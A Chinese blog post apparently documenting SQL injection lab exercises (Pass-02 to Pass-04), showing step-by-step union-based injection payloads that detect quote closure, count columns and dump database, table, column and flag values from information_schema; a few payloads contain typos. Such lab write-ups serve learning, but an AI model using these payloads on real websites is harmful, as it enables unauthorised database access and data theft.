前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入靶场-Day1

SQL注入靶场-Day1

作者头像
Baige
发布2022-03-21 15:31:48
5900
发布2022-03-21 15:31:48
举报
文章被收录于专栏:世荣的博客

前面学习渗透测试Day6的时候,学习了SQL注入原理,于是相应的靶场也就随之而来,这里继续记录剩下的靶场练习WP

考点:显错注入

这里链接SQL注入靶场的第一题:Day6&SQL注入靶场第一题

Pass-02

代码语言:javascript
复制
GET传参:?id=1 and 1=2
        ?id=1 and sleep(3)

并没有被执行,这里加入单引号:

代码语言:javascript
复制
GET传参:?id=1 and 1=2'
代码语言:javascript
复制
GET传参:?id=1' order by 4'

测试发现是三个字段,同时测试发现后两位为显位点 当键入单引号出现报错,说明是单引号闭合

代码语言:javascript
复制
GET传参:?id=1' and union select 1,2,database()'

爆出库:error

代码语言:javascript
复制
payload:?id=1' union select 1,2,table_name from information_schema.tables 
where table_name='error

这里注意单引号的闭合,在最后面会补上,所以这里不闭合 !回显][4] 得到表:user

代码语言:javascript
复制
payload:?id=1' unoin select 1,2,column_name from information_schema.columns
where table_name='user

得到:password

代码语言:javascript
复制
payload:?id=1' union select 1,2,password from user
这里修改:?id=1' union select 1,2,password from user -- aaa

很奇怪,什么也查不出来,这里赶紧换思路,去查其他的表

代码语言:javascript
复制
payload:?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='error limit 1,1 --

得到表:error_flag

代码语言:javascript
复制
payload:?id=1' union select 1,2,column_name from information_schema.columns
where table_bame='error_flag

得到字段:flag payload:?id=1' union select 1,2,flag from error_flag

发现是个假flag,于是去做limit的字段限制 测试成功的payload如下:

代码语言:javascript
复制
?id=1' union select 1,2,flag from error_flag  -- aaa

这里补充一个知识点:--可以避免单引号闭合带来的影响,这里的使用方法如上

Pass-03

测试一波:

代码语言:javascript
复制
payload:?id=1 and 1=1             回显:正常
payload:?id=1') and 1=1 -- qwe    回显:正常
payload:?id=1 and 1=2 -- qwe      回显:报错

测试字段数:

代码语言:javascript
复制
payload:?id=1') order by 4 -- qwe 回显:异常

说明字段数为3 测试显位点:

代码语言:javascript
复制
payload:?id=1') union select 1,2,3 -- qwe

爆库:

代码语言:javascript
复制
payload:?id=1') union select 1,2,database() -- qwe

数据库:error 爆表:

代码语言:javascript
复制
payload:?id=1') union select 1,2,table_name from information_schema.tables 
where table_scheam='error' limit 1,1 -- qwe

由于前两道题都是从'error_flag'表中得到的flag,所以这里我直接从这张表里找字段 爆字段:

代码语言:javascript
复制
payload:?id=1') union select 1,2,column_name from information_schema.columns
where table_name='error_flag' ####### -- qwe

这里为了防止假flag,把所有字段都试试:

limit 0,1 回显:mima limit 1,1 回显:Id limit 2,1 回显:flag 查找字段对应的内容:

代码语言:javascript
复制
payload:?id=1') union select 1,2,flag from error_flag limit 3,1 -- qwe

得到flag

Pass-04

测试:

代码语言:javascript
复制
payload:?id=1 and 1=1  正常
payload:?id=1 and 1=2  正常
payload:?id=1' and 1=2 -- qwe  正常
payload:?id=1') and 1=2 -- qwe 正常
payload:?id=1") and 1=2 -- qwe 正常

这是用了双引号闭合:("") 注入过程与前面相差不多: 测试字段:

代码语言:javascript
复制
payload:?id=1") order by 1/2/3/4 

测试显位点:

代码语言:javascript
复制
payload:?id=1") union select 1,version(),database()

爆表:

代码语言:javascript
复制
payload:?id=1") union select 1,2,table_name from information_schema.tables
where table_schema='error' limit 1,1 -- qwe

爆字段:

代码语言:javascript
复制
payload:?id=1") union select 1,2,column_name from information_schema.columns
where table_name='error_flag' -- qwe

limit查找具体内容:

代码语言:javascript
复制
payload:?id=1") union select 1,2,flag from error_flag limit 1,1 -- qwe

总结:

总的来说这四道题目中规中矩库,符合SQL语句练习的目的并且一步一步纪律性步骤测试,难度分别增加,还有一些假flag,在快做出来的时候,这么稍微挫折一下蛮好的,以前去打CTF偶尔可以遇到这样的状况,挺搞心态的,不过好在做出来的满足感更多一些。 当然我们可以用Sqlmap跟更方便,但是这种基本功的夯实更有意义而且可以再熟练一下SQL注入,以及一些自动化工具没有的,比如自己的一些思考和脑洞。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Pass-02
  • Pass-03
  • 这里为了防止假flag,把所有字段都试试:
  • Pass-04
  • 总结:
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档